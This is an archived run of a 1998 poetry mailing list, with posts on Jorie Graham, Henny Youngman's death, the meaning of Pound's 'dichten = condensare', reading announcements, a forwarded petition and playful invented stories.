It may be that for all her efforts to tackle the abstract language of Western metaphysics on its own terms, Jorie Graham's best writing is, after all, the poetry that addresses other issues than philosophy and allows itself to engage, as best it can, with the world and its manifest aspects. This book's stories and descriptions are what stick in the mind. There is the teenage boy waving a gun, "as if trying to sharpen himself for entry," "acid, /rare, in support of progress, /looking for what he's missed," "tentacular, spitting seed, him the stalk of/the day, scattering seed, planting it deep-" and the terrified subway passengers in the wake of the trauma: "wet branches? what was I wearing?/and then much later, like a dream, desolate, things being talked about." There are the staunch and sad little girls in the concentration camp. There is the tragicomic moment when the speaker is reading <underline>Anna Karenina</underline> and stumbles on the objectification of the heroine: "Vronski's eyes/ fall suddenly on

her so that her being seen is/ born. I tried to see past her. But her black waist/ blocked the whole view,/black hourglass the stillness would use to enter,/ swirling, breathless/yet in itself nothing." There is the narrative of finding a monarch butterfly-almost a sentimental story, grounded in the tradition of nineteenth-century women's literature- that essentially comprises "Subjectivity." There is the lyric address to the maples quoted above, and other equally gorgeous closing passages, like the address to dust: "oh, but tell me, morning dust, dust of the green in things, <underline>on </underline>things, dust of water/ whirling up off the matter, mist, hoarfrost, dust over the /fiddlehead . . ." Such beautiful and captivating writing is the kind of poetry that matters to many readers; to find it right now, Graham's readers have to push through much less "poetic" terrain. Obviously this is part of the point, but just how essential a part of the point may be open to question.

</fontfamily>

Annie Finch

http://muohio.edu/~finchar

Assistant Professor of English/Creative Writing

Miami University

Oxford, Ohio 45220

↑ Index

991. Mark Prejsnar
slaughter under the palms
Wed 25 Feb 1998

In addition to what others have pointed to (poetry related to Operation Desert Turkey Shoot)....

The wonderful piece Erica Hunt reads on Live at the Ear seems (complexly) related. I don't remember its title....

Mark Prejsnar
@lanta

↑ Index

992. **Judy Roitman**
Re: disturbing news
Wed 25 Feb 1998

> *have just gotten to page A13 of the NY Times for 2/24 (news carrier couldn't get through the floods to our door, so I'm catching up this evening) --*
>
> *There's a report here out of Lexington, Kentucky, that Gayle Jones, whose novel _The Healing_ was just released, was in the hospital following an episode in which her husband filled their cottage with natural gas and threatened to blow them both up. The paper says that the husband killed himself, and that Gayle Jones is being held at least temporarily in a Mental Health hospital because of fears that she might harm herself.*
>
> *Does anybody have any updates on this?*

It was also in Newsweek, which had a glowing review in the previous issue of her new book.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

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993. **Judy Roitman**
Re: Poetry and Depression
Wed 25 Feb 1998

> *I once heard it this way: Buddhism goes up, focusing on the spirit. Depth Psychology goes down (into the body, I think), focusing on the soul. Both are cool, I guess, and could complement each other, I guess, but they don't substitute*
> *for each other. Make sense to you, too? Steve Tills*

Hi Steve. Forget what you've heard.

Cheers.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |

memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

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994. **sylvester pollet**
Henny Youngman
Wed 25 Feb 1998

We've lost a great poet. Henny Youngman died yesterday (at 91 or 92, two different news reports.)

DICHTEN=CONDENSARE, Pound said,(incidentally, using the equal sign long before L=A=etc.), and Youngman was a master.

"And for my nephew Marvin, who was always asking me to mention him in my Will, 'Hi, Marvin!' "

It's up to us now. Sylvester.

↑ Index

995. **MAYHEW**
Youngman and a query
Wed 25 Feb 1998

Does anyone know German? Does "dichten" really mean "condensare"? My dictionary has "verdichten" for "to condense." Dicht apparently means thick, and Die Dichte is a noun meaning density, but I suspect that the connection between "dichten"(to write poetry) and these words is tenuous at best. Can anyone confirm or disconfirm?

On a different note, does anyone have bibliography of secondary sources on Coolidge (the poet not the president). Please back-channel.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]
[redacted]

↑ Index

996. **Annie Finch**

ALERT - Petition to save Endangered Species!

Wed 25 Feb 1998

>X-From_: [redacted] Wed Feb 18 06:34:57 1998
>X-Sender: [redacted]
>Date: Wed, 18 Feb 1998 05:25:29 -0800
>From: Debby Ortman <[redacted]>
>Subject: ALERT - Petition to save Endangered Species!
>Mime-Version: 1.0
>To: unlisted-recipients:; (no To-header on input)
>
>* START * PETITION TO SAVE ENDANGERED SPECIES * KEEP IT ALIVE!
>* * PLEASE SIGN AND FORWARD BY APRIL 15th, 1998 * URGENT! * *
>
>We're experiencing the greatest rate of extinction since the
>dinosaurs - up to 50,000 species a year. In the U.S., we
>have lost over 500 plants and animals since the signing of
>the Declaration of Independence; 250 of these species have
>disappeared in the last 15 years. This massive loss of life
>threatens our own existence, by depriving us of potential
>cures to deadly diseases and decimating local economies. For
>example, in the Pacific Northwest, the fishing industry has
>lost approxmiately $1 billion in the last ten years due to
>the decline in salmon.
>
>The U.S. Congress is now considering two radically different
>bills to reauthorize the Endangered Species Act. Kempthorne's
>Extinction bill (S.1180) rolls back 25 years of conservation
>efforts, sacrificing protections for endangered species to
>benefit industry. Miller (H.R. 2351) strikes a reasonable
>compromise, balancing wildlife needs with landowners, while
>working for the recovery of species.
>
>Congress could vote on these bills as early as the end of
>February, 1998. Please keep our endangered species alive
>by signing the below petition and forwarding to family,
>friends, and lists interested in preserving our environment.
>
>* HOW TO SIGN THIS PETITION * * * * * * * * * * * * * *
>
>Copy this entire email (from * START * to * END *) into a

>new email. After the last signature below, enter a new line,
>with the next number. Please list your name, city, state
>and zip code. Forward to your family, friends, coworkers,
>and relevant lists. Please cc: your message to
><[redacted]>.
>
>* PETITION TO CONGRESS * * * * * * * * * * * * * * *
>
>Dear Member of Congress:
>
>We are currently faced with the greatest rate of extinction
>worldwide since the disappearance of dinosaurs 65 million
>years ago, losing up to 50,000 species a year. Since 1973,
>the Endangered Species Act (ESA) has halted the potential
>extinction of dozens of animals, including the bald eagle,
>the gray wolf and the California sea otter.
>
>Senator Kempthorne's (R-ID) and Chafee (R-RI) are pushing
>forward a bill, S.1180, that protects the interests of
>industry at the expense of endangered species. At the same
>time, Rep. Miller (D-CA) has introduced a moderate bill,
>H.R. 2351, that strikes a balance between wildlife and
>landowners without sacrificing protection and recovery
>for endangered species.
>
>Please vote against S.1180 and support H.R. 2351.
>
>* SIGNED *
>
>1) Christopher Chatto, Santa Barbara, CA 93101
>2) Chris Mullin, Quincy, MA 02169
>3) Elizabeth Hitchcock, Washington DC 20003
>4) Richard Trilsch, Washington, DC 20003
>5) Adam Ruben, Boston, MA 02111
>6) Mark Ferrulo, Tallahassee, Fl 32303
>7) Debbie Ortman, Duluth, MN 55811
 8) Annie Finch, Cincinnati, OH 45220
>
>* FOR MORE INFORMATION * * * * * * * * * * * * * * *
>
>http://www.pirg.org/
>-The State Public Interest Research Groups (PIRGs)

>
>[redacted]
>-general email address for inquiries
>
>http://www.pirg.org/enviro/esa/
>-The PIRG's endangered species pages, including fact sheets
>on Kempthorne's Extinction Bill (S.1180), Miller's Recovery
>Bill (H.R. 2351), and what else you can do.
>
>http://www.pirg.org/enviro/esa/petition/
>-A web-based version of this petition, and detailed
>instructions on how to sign an email petition.
>
>* * PLEASE SIGN AND FORWARD BY APRIL 15th, 1998 * URGENT! * *
>* PETITION TO SAVE ENDANGERED SPECIES * KEEP IT ALIVE! * END *
>-=+=-=+
>Christopher Chatto, Internet Organizer e-mail: [redacted]
>The State Public Interest Research Groups http://www.pirg.org
>1129 State St #10, Santa Barbara CA 93101 805(p)9630949(f)9658939
>

_____
_____
_____
Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

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997. **George Thompson**
Re: Youngman and a query
Wed 25 Feb 1998

These seem to be two separate verbs:

1. dichten = to thicken, to tighten, to condense.

2. dichten = to make poetry.

dichten (1) is related to Eng 'thick' [= Germ 'dick', etc.] and Eng. 'tight', whereas dichten (2) seems to be a borrowing from Latin, as in Horace's 'dictare carmina.'

The next question is whether Pound meant 'dichten' = 'condensare' as a pun or as an etymology....

George Thompson

> *Does anyone know German? Does "dichten" really mean "condensare"? My dictionary has "verdichten" for "to condense." Dicht apparently means thick, and Die Dichte is a noun meaning density, but I suspect that the connection between "dichten"(to write poetry) and these words is tenuous at best. Can anyone confirm or disconfirm?*
>
> *On a different note, does anyone have bibliography of secondary sources on Coolidge (the poet not the president). Please back-channel.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

↑ Index

998. **Tom Beckett**
Re: Henny Youngman
Wed 25 Feb 1998

Yup. Henny was great. He'll be missed.
As to Pound, he may have used the = sign befor L=etc, but did he mean it?
Best,
Tom B.

↑ Index

999. **Randy Prunty**
Re: dichten
Wed 25 Feb 1998

---

to Jonathan, et al

the altavista online translator says that dichten means "seal". It doesn't sound like that's where you are heading, but I thought you might find this interesting.

for those of you that don't know of this translation site:

http://babelfish.altavista.digital.com/cgi-bin/translate?

Randy

↑ Index

1000. David R. Israel
poets-in-residence
Wed 25 Feb 1998

The appended item appeard in "News of the Weird". Am not sure what "questions it raises," but meseems it's fodder for anecdotage.

cheers, d.i.

/ / /

* Peter Sansom began work on January 19 at his new, two-day-a- week job with the big Marks & Spencer department store in London. For the next six months under a government grant program run by the Poetry Society, he will work for about $1,500 per month as the store's Poet in Residence. He said he hopes generally to raise employees' and customers' level of awareness of poetry. A lesser-known Poet in Residence, at London's Botanical Gardens, said she has already had an impact on that organization, as witnessed by her telephone message recording: "Sarah Maguire can't get to the phone/So please leave a message after the tone."

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↑ Index

1001. **Steve Tills**
Re: Poetry and Depression
Wed 25 Feb 1998

Hi Judy,

Well, ok, :-)

Judy Roitman wrote:

> *I once heard it this way: Buddhism goes up, focusing on the spirit. Depth Psychology goes down (into the body, I think), focusing on the soul. Both are cool, I guess, and could complement each other, I guess, but they don't substitute*
> *for each other. Make sense to you, too? Steve Tills*
>
> *Hi Steve. Forget what you've heard.*
>
> *Cheers.*
>
> *----------*
> *Judy Roitman | "Whoppers Whoppers Whoppers!*
> *Math, University of Kansas | memory fails*
> *Lawrence, KS 66045 | these are the days."*
> *[redacted] |*
> *fax: [redacted] | Larry Eigner, 1927-1996*
> *----------*
> *Note new area code*
> *----------*
> *http://www.math.ukans.edu/~roitman/*
> *----------*

↑ Index

1002. **Pritchett,Patrick**
Re: Youngman and a query
Wed 25 Feb 1998

Jonathan -

Dichten = writing, and specifically poetry. See title of Goethe's autobio "Wahrheit und Dicthen" usu. translated as "Poetry and Truth." So Pound's famous formula simply means that the art of poetry consists of the act of condensing or compactinglanguage - less is more, if you will.

Patrick Pritchett

From: MAYHEW
To: [redacted]
Subject: Youngman and a query
Date: Wednesday, February 25, 1998 10:03AM

Does anyone know German? Does "dichten" really mean "condensare"? My dictionary has "verdichten" for "to condense." Dicht apparently means thick, and Die Dichte is a noun meaning density, but I suspect that the connection between "dichten"(to write poetry) and these words is tenuous at best. Can anyone confirm or disconfirm?

On a different note, does anyone have bibliography of secondary sources on
Coolidge (the poet not the president). Please back-channel.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

1003. **Dale M Smith**
Youngman and a query
Wed 25 Feb 1998

I think the big P. took that word from a particular Germ/Eng dictionary and stresses this in the ABC's near the front. I can't remember the translator and not knowing German can't confirm equivalent 'meanings' for the two words. Chances are you're right and it means something slightly different. Anyway, I think there's some space devoted to this in that brick of a bio A Serious Character.

To: [redacted]

Does anyone know German? Does "dichten" really mean "condensare"? My dictionary has "verdichten" for "to condense." Dicht apparently means thick, and Die Dichte is a noun meaning density, but I suspect that the connection between "dichten"(to write poetry) and these words is tenuous at best. Can anyone confirm or disconfirm?

On a different note, does anyone have bibliography of secondary sources on Coolidge (the poet not the president). Please back-channel.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

1004. **MAYHEW**
dichten condensare
Wed 25 Feb 1998

It was actually a German - Italian dictionary. Pound attributes the discovery of this folk (faux) etymology to Basil Bunting. I was playing around with a translation program from German to English. I wrote the German sentence "Ich dichte die Dichtung," trying to say I write poetry and it gave me "I seal the seal" as the English translation. When I tried to say "I write condensed poetry" it gave me "I seal the thick seal." (dichten also means to seal, as in sealing with wax). I find this altavista translation program hilarious, since it isn't very sophisticated or attentive to context. I am thinking of putting some Lorca in in Spanish and seeing the translation it comes up with.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

1005. **Henry Gould**
Re: Youngman and a query
Wed 25 Feb 1998

On Wed, 25 Feb 1998 13:07:34 -0400 George Thompson said:
>1. dichten = to thicken, to tighten, to condense.
>
>2. dichten = to make poetry.
>
>dichten (1) is related to Eng 'thick' [= Germ 'dick', etc.] and Eng.
>'tight', whereas dichten (2) seems to be a borrowing from Latin, as in
>Horace's 'dictare carmina.'
>
>The next question is whether Pound meant 'dichten' = 'condensare' as a pun
>or as an etymology....

I always read it as an explanatory metaphor.
"Heavy with time."
I'm reading a book on the physics of time (time's arrow); the 1st essay
in 1st paragraph says that the General Theory of Relativity shows that
gravity IS time; gravity is the expression of variable time flows.
Spiralling into the heaviness of sounds...(under the dead litter...)
condensation = precipitation.
- Henry Gould

↑ Index

1006. **Michael Magee**
Re: Henny Youngman
Wed 25 Feb 1998

Thought I'd post this poem of mine in which Youngman appears, as a kind of homage. I liked his rapid-fire aesthetic very much and recently downloaded hundreds of his jokes off the web. -m.

POEM BEGINNING WITH A LINE OF O'HARA'S

Rome is gorgeous...like the Catskills. There is no sense
in trying to get there other than by traveling
north on the New York State Thruway,
and no sense denying that the Pope
is none other than Henny Youngman.
That he has no wife, according to the vow,
makes the joke that much funnier.
In the audience, a man dressed vaguely
like a Hell's angel grows more and more
anxious. His tank-top reads, *I Live
Every Day in FEAR*. Yes, he does.
He peels his fingernails and eats the pieces.
It is impossible to discourage his belief
that, behind the scenes, Youngman has been conspiring
to get Senator Kennedy elected president.
The fact that Youngman isn't even Catholic
makes it that much more nefarious. When
you ask him he says, "ZOG, my friend,"
which stands for, "Zionist Occupation Government, my friend."
Rome is gorgeous. His beard is like the gray
and red streaked rusted shingles of the ruined
cottages you happen upon, hidden in the wooded nooks
of the Piazza San Pietro, except it is made of hair.

If you ask him, he will pose just as Moses did
for Michelangelo, fingering his beard and scratching
his belly, "guardian of the tomb." He is a descendant
of the Lost Tribe of Israel, the tribe whose existence
Pope Youngman vehemently denies, out of fear
of its gorgeousness. "It is more gorgeous than Rome,"
he thinks to himself, but to the audience, he tells
a joke about how ugly it is. The old couples
come from an afternoon of meringue lessons, the young
families who have brought their children after
a swim in the pool, they all laugh at this joke,
a bit anxiously. It is Easter and they have come
to receive his blessing, not expecting such levity.
Their Pope begins, "In nomine Patri, et Fillii,
et Spiritu Sancti," and they respond, "Amen."
Their Pope continues, "I had a nightmare last night.
I dreamed Dolly Parton was my mother and I
was a bottle baby," and they say nothing.
It is all gorgeous. The way the lake glitters,
the tall loud speakers between the pines, the lanterns
strung across the Arco delle Campane. The man believes
that as they empty into the square they all study him,
amazed by how his gut-sweat has stained
into his tank-top an image of the Virgin Mary.
The publicity is awful, he shivers in contempt
at the complication of what he has devised, to lumber
into the gardens, ahead of the New York State Police
whom he has already told, "The one I will kiss
is Youngman. Arrest him and lead him away under guard."

↑ Index

1007. **Pritchett,Patrick**

Re: Youngman and a query

Wed 25 Feb 1998

---

oops - that should be "Wahrheit und Dichtung."
PP

↑ Index

1008. **Mark Prejsnar**
Re: poets-in-residence
Wed 25 Feb 1998

This figures....

When our culture wants an example of something really *weird* it thinks of (all together now) *poetry*!!! (and poets)

Mark
@lanta

↑ Index

1009. **Mark Prejsnar**
Re: Pound and a quandry
Wed 25 Feb 1998

>
> The next question is whether Pound meant 'dichten' = 'condensare' as a pun
> or as an etymology....
>
> George Thompson
>

Errr....*both*, I always thought..??

"autodidact" or no (and he *did* put information together in a slightly odd way, from time to time, to be sure) the old guy knew a thing or two..

↑ Index

1010. **Gwyn McVay**
Re: Youngman and a query
Wed 25 Feb 1998

Pound wasn't exactly Mr. Linguist, as has been noted with regard to his work from the Chinese (he believed one could understand kanji by basically staring at them until they made sense--I could never do those random-dot 3-d pictures either) and from Sextus Propertius with his "frigidaire."

bests
"white" "bitter" "offspring of life"

↑ Index

1011. sylvester pollet
Re: dichten condensare
Wed 25 Feb 1998

Now we're really on to something. Seal as sea-critter. And in French, What the phoque!

Put that Lorca up if you do it. Sylvester

At 1:37 PM -0600 2/25/98, MAYHEW wrote:
>It was actually a German - Italian dictionary. Pound attributes the
>discovery of this folk (faux) etymology to Basil Bunting. I was playing
>around with a translation program from German to English. I wrote the
>German sentence "Ich dichte die Dichtung," trying to say I write poetry
>and it gave me "I seal the seal" as the English translation. When I tried
>to say "I write condensed poetry" it gave me "I seal the thick seal."
>(dichten also means to seal, as in sealing with wax). I find this
>altavista translation program hilarious, since it isn't very sophisticated
>or attentive to context. I am thinking of putting some Lorca in in
>Spanish and seeing the translation it comes up with.
>
>
>
>Jonathan Mayhew
>Department of Spanish and Portuguese
>University of Kansas
>[redacted]
>[redacted]

↑ Index

1012. Steve Tills
Farmer, Bromige, Gizzi at Cinnabar, March 9th
Wed 25 Feb 1998

Would like to announce the following reading at the Cinnabar Theatre on March 9th, 7:30 p.m.

STEVE FARMER, DAVID BROMIGE, and PETER GIZZI will read poetry and discuss The Troubadors.

The Cinnabar is located in Petaluma (approximately 40 minutes north of San Francisco), at 3333 North Petaluma Blvd. The Cinnabar Series website at http://www.vom.com/stills provides a detailed map of Petaluma and additional information, including previews of the featured readers' poetries.

Upcoming Poets/Panel

March 9th, a Reading and Symposium with
Steve Farmer, David Bromige, and Peter Gizzi

The Troubadors at the Millenium:
a reading and panel investigation of current poetic practices and the
apparent weaving-in of practices of the past.
Three poets read and talk about their and each other's work as it
relates to, and calls back to, the work of the French Troubadors of the

11th and 12th centuries.
An Open discussion will follow.

Steve Farmer was born and raised in San Diego, California. He received a BA in Writing from UCSD and moved to the Bay Area in 1981. There he completed an MA in English at Sonoma State University, studying under poet David Bromige. He is the author of Coracle (working notes of february, 1987), Tone Ward (Coincidence, 1988), World of Shields (w.n.f., 1993), Standing Water (hic jacet, 1995), and the long poem Medieval, which has appeared with other work over the years in publications such as AVEC, Lyric &, Mirage Period(ical), Poetics Journal, Big Allis, and the collections I am a Child: Poetry after Bruce

Andrews and Robert Duncan (Tailspin Press), The Poetry Calendar for the Millenium (Sun and Moon Press), and Writing from the NEW Coast (o·blêk anthology). He has worked and taught in the restaurant industry for most of his life and is currently Executive Chef of Venezia in Berkeley.

David Bromige has been around for a long time. An original troubador,
with interesting scars sustained in falls from ladders pushed off from
balconies (usually
by the ladies themselves), his lifetimes of romantic egotism have soured
him on the
cult of personality and he refers readers to his recent poems found in
Tinfish, The Dickens,
Boo, Crayon, Antenym, Lower Limit Speech, Letters, Volt, EPR, Poetzine,
Non, Rhizome,
Capilano Review, Cuisinart, Mirage, and 3300, if they want to deduce
anything
further about him. All of his books have been burned by the Papists.

Peter Gizzi is the author of several fine books of poetry, including Artificial Heart (Burning Deck, 1998), from which he'll be reading; Hours of the Book (Zasterle, 1994); Periplum (AVEC, 1992); Music for Films (Paradigm Press, 1992); Creeley Madrigal (The Materials Press, 1991) and the chapbooks Ledger

Domain (Timoleon, 1995) and New Picnic Time (Meow, 1995). He co-founded o·blêk / A Journal of Language Arts in

1986 and co-edited with Connell McGrath the o·blêk anthology of younger experimental poets, Writing from the NEW Coast (The Garlic Press, 1993). He's also the editor of the international literary anthology Exact Change Yearbook (1995), and he has an edition of Jack Spicer's lectures on poetics, The House that Jack Built, forthcoming from Wesleyan University Press (1998). In 1994, Peter received the Lavan Younger Poets Award from the Academy of American Poets. He holds a B.A.

in Classical Literature (New York University), an M.F.A. from Brown University (1991), and a Ph.D from the University of Buffalo. An assistant professor at UCSC, he lives in Santa Cruz with his wife, the poet Liz Wallis.

↑ Index

1013. david bromige

Dichten Condensare

Wed 25 Feb 1998

Dichten Condensare was my voice teacher the year I spent in Florence. His father was German, a blond Lutheran from Luebeck,introspective and stern, a mathematician in musical matters; and his mother was Italian, raven-haired in her youth, passionate, extraverted, always bursting into extravagant gusts of Verdi. Both sets of characteristics were at war for Dichten's soul, and some do say one set won out when it enlisted the help of the Devil (Teufel). Certainly Dichten came to a sticky end, drowned in a wetland area trying to remove an illegal dwelling so that he could landfill it and build a music studio; but not before he had passed the Condensare name along to his son, whose mother, Brita Bunting, had been a mistress of Ezra Pound. Hope this helps.

The Altavista program sounds like another such program I heard of that fed "Out of sight, out of mind" into a russian-speaking computer, and got back "Invisible lunatic." David

↑ Index

1014. laura and jeff

hello

Wed 25 Feb 1998

---

i am new. i am (ta-da!!) a poet. (anyone interested in reading something i've written can order order the pamphlet _what would we do without us_ from me for $1 (us) postage paid (we sell them for $.50 in person). my snail addy is 240 1/2 s market st #3 wooster ohio 44691 usa. the pamphlet is a sampling of five

poets: ryan scot barker, elizabeth jackson, eric swanger (e.j.s.), davey vest, and myself. it was published by earth books, which is myself and ryan.) lets see: i am currently living in wooster ohio with my wife laura weiser, who is a painter. we are moving to morgantown west virginia in may. exciting!!! i am working on a long poem called la vie / the polemics. i am 22 (23 in april). i ain't ne'er been to no college. i am currently reading herodotus, and re-reading the ten vols. of the complete corr. of olson/creely. and (as always) tons of poetry. i prefer cats to dogs. anarchism to fascism. veganism to meat eating. plastic to paper (easier to recycle in wooster). juice to soda. hardcore punk, classical, and jazz to country. being drug-free to doing drugs. tea to coffee. anywhere to ohio. persistant living self-education to ineffectual dead acadamia (no offence). the light side of the force to the dark side of the force. heh. =) really, jeffrey daniel miller (jeff.)

> There are no hierarchies, no infinite, no such many as mass,
> there are only
> eyes in all heads
> to be looked out of

-charles olson, from "letter 6" (of the maximus poems)

↑ Index

1015. **david bromige**
Dichten Condensare, chap.II
Wed 25 Feb 1998

Inquiries have started to come in as to Dichten's having an Italian surname. His grandfather, though from Luebeck, was the son of an Italian sailor, Antonio Condesare, who hailed from Naples, and who married Frieda Mann of Luebeck. The second 'n' in his name got added during the family's Luebeck years. The name of Dichten's Italian mother was Ingrid Rossellini, the outside-of-legitimation daughter of Isabella Bergman, a Swedish housemaid in the well-to-do Milanese household of the Rossellini family, whose son, Roberto, invented the first, clumsy and awkward computer-translation program, EierAnsikt, during his years in Friesing-am-Isar, and whose favorite riddle was "Is a bell a berg, man?" Returning to Milan for a grand vacancy, he made real the fact that he had most of his life been at love with the white-haired person of clean-limbed ascendancy yet dubious paternity. Propositioning her, he then with her to Luebeck fled, expending the remainder of his diurnals with his Baltic companion not a hurl of a rock from the water-body that bears the name of her type till this instant. Their offspring, christened Dichten,on account of his born having-been with musical ears and tightly-sealed eyes, during his wanderjahre found himself in Florence,

where his acoustics were so great he decided to stop behind. The rest is Chapter I. Although perhaps it would not have been supererogatory to say that indeed, yes, he enjoyed punctually 24 years of amazing celebrity as a performer on the soft-loud keyboard thing-that-goes-in-the-drawing-room, and also as a chanting-person of his own homemades. Then came the swamp. To this sixty-second unit, I can attend his thorax in my kopf Der Margarita Song warbling. Then comes the Moral. Life is not brief enough. David

↑ Index

1016. **George Thompson**
Re: Dichten Condensare
Wed 25 Feb 1998

David Bromige zaid:

> *Dichten Condensare was my voice teacher the year I spent in Florence. His father was German, a blond Lutheran from Luebeck,introspective and stern, a mathematician in musical matters; and his mother was Italian, raven-haired in her youth, passionate, extraverted, always bursting into extravagant gusts of Verdi. Both sets of characteristics were at war for Dichten's soul, and some do say one set won out when it enlisted the help of the Devil (Teufel). Certainly Dichten came to a sticky end, drowned in a wetland area trying to remove an illegal dwelling so that he could landfill it and build a music studio; but not before he had passed the Condensare name along to his son, whose mother, Brita Bunting, had been a mistress of Ezra Pound. Hope this helps.*

Well, thiz may explain why Ez wuz zo muzical. He muzt have gotten hiz muzical ear from hiz miztrezz, juzt az you have gotten yourz. I mean, not from YOUR miztrezz. I mean from HIZ. Indirectly. Zecond hand.

My [non-z but phonologically cloze]-key doezn't work, I don't know why. Thank God for z'z.

George Thompzon [I alzo had thiz teacher, Condenzare. Ztrange man he wuz]

↑ Index

1017. **david bromige**
ep's frigidaire
Wed 25 Feb 1998

Well though Gwyn, "frigidaire" is deliberate in a way I can comprehend, a chosen anachronism (with which device "Sextus Propertius," as you know, teems); whereas the "drawing-the-sorts" "method" whereby he downloaded Chinese poetry from Chinese written characters I cannot. Yet by both methods he made

fine poetry, don't you think? "Outweariers of Apollo will, dum de dum; we have kept our erasers in order." Too old to look anything up, David

↑ Index

1018. **Don Wellman**
Re: Youngman and a query
Wed 25 Feb 1998

..it was Bunting who made the serendipitous connection between "dichten" and "condensare" and Pound credits him.

Don Wellman

↑ Index

1019. **Safdie Joseph**
Re: Query
Wed 25 Feb 1998

Could someone please back-channel me Anselm Hollo's e-address?

(or Anselm, if you're lurking, could you?)

Thanks in advance!

↑ Index

1020. **Schuchat Simon**
Re: ep's frigidaire
Thu 26 Feb 1998

You know, EP just claimed that he could divine the meaning of Chinese characters by looking at them. He did the translations in Cathay using Fenellosa's notebooks from his studies with a Japanese teacher, with each character copied, glossed, phoneticized, etc. There was relatively little information on the grammar or the paratatic syntax and that he had to come up with on his own. He had a native speaker assisting him when he did the Confucian Odes while residing at St. E's, though he reportedly quarrelled with her alot. He also drew on Jesuit latin versions for his other Confucian translations, as well as French versions. But its a great story that he could figure out what the signs meant just by looking, and as David points out, he made great poetry out of them, however he got there.

viz Bunting's note in the collected poems, "to assume a mistranslation would be gratuitious"

↑ Index

1021. Dean A. Brink
Interpoetics - Call for submissions
Thu 26 Feb 1998

Call for submissions

Interpoetics seeks poetry, translations, research articles and reviews. Emphasis is on poetry from Japan, China, Iran, Vietnam, Korea, Cambodian, and all parts of Asia, the Americas, Africa, and Europe. We are especially interested in experimental, historical and hypertextual poetry of all varieties.

Submit poetry to Ali Zarrin ([redacted]).

Submit queries regarding articles, reviews and translations to Dean Brink ([redacted]).

Interpoetics is at:
http://www.w-link.net/~dean/interpoetics/index.html

A sampling of what is forthcoming:

Poetry by T. Begley, Susan Doe, Eric Elshtain, Timothy Liu, Hoa Nyugen, P. Piper.

Gregory Lee (Hong Kong University), Selected Translations of Duoduo (part 2),

and excerpts from his book _Troubadours, Trumpeters, Troubled Makers: Lyricism, Nationalism and Hybridity in China and Its Others_ (Duke University Press, 1996) in which Duoduo's poems are addressed

John Kehlen (University of Chicago), New Translation of _A Hundred Stanzas by Three Poets at Minase_ a Renga Sequence by Sougi, Shouhaku, and Souchou

James O'Brien (University of Wisconsin, Madison), translations of poems by Kitahara Hakushu

Hsiuling Lin (University of Chicago) on Henry Gaudier-Brzeska and Pound's Aesthetics of Chinese Characters

Ali Zarrin (University of Colorado at Denver), Selected Ghazals of Hafez

Kitagawa Fuyuhiko: translations by William O. Gardner (Stanford) and Dean Brink
(University of Chicago)

↑ Index

1022. **Michel Delville**
Pound: dichten = condensare?
Thu 26 Feb 1998

The German verb "dichten" does not mean "to condense" but to "block" the holes or openings in an object in order to prevent air, gas, or liquid getting in or out. I guess "to seal" would be the nearest English equivalent. The idea, however, is not to achieve "poetic density" but rather to preserve a sense of unity or wholeness. More fragments to shore against our ruins?

<From: MAYHEW <[redacted]>: <Does anyone know German? Does "dichten" really mean "condensare"? My <dictionary has "verdichten" for "to condense." Dicht apparently means <thick, and Die Dichte is a noun meaning density, but I suspect that the <connection between "dichten"(to write poetry) and these words is tenuous <at best. Can anyone confirm or disconfirm?

Michel Delville
English Department
University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

↑ Index

1023. **Tom Beckett**
pound
Thu 26 Feb 1998

After his time at St. Elizabeth's Pound was something of a broken man and was reportedly very bitter. He is rumoured to have spent his final days wandering the streets of Rapallo talking to himself. One passerby thought he said "I was dicked and conned--and sorry."

Tom B.

↑ Index

1024. **henry**
Re: Pound: dichten = condensare?
Thu 26 Feb 1998

On Thu, 26 Feb 1998 10:35:40 +0100 Michel Delville said:
>The German verb "dichten" does not mean "to condense" but to "block" the

>holes or openings in an object in order to prevent air, gas, or liquid
>getting in or out. I guess "to seal" would be the nearest English
>equivalent. The idea, however, is not to achieve "poetic density" but
>rather to preserve a sense of unity or wholeness. More fragments to shore
>against our ruins?

Could you explain this interesting concept a little further? Are you saying that Pound's idea - behind this expression dichten = condensare - is to preserve unity or wholeness?

It seems to me, and as some others have already pointed out, the basic point Pound is making here is: "to write poetry is to condense", i.e. to sharpen, shorten, achieve precision and depth through brevity. Perhaps this is assuming too many a priori Poundian sentiments. Are you suggesting that Pound may also have been playing with this other meaning of "dichten" - to set a seal? I think the image of "setting a seal" was extremely important to Pound - he was always aiming for the effect of a visual emblem on a number of levels - a Renaissance, iconic imagism. I'm not sure how your focus on achieving unity & wholeness relates to the word "condensare", but I can understand the sense of an author "setting a seal" on a work - the overall, pervasive, unique signature - the "total" icon. His father worked for the mint; Pound made Pound notes cohere as heavy crystal; with all the arch-reactionary elements of authorial "totality" set up against the non-visual, ultra-verbal splurge of Joyce or Stein.

...but what were you saying? I mean, how does the whole equation imply preserving unity or wholeness? Is it that the process of condensation leads finally to "setting the seal"? - Henry Gould

↑ Index

1025. **Pat Boran**
Re: poets-in-residence
Thu 26 Feb 1998

Re David R Isreael's earlier posting:

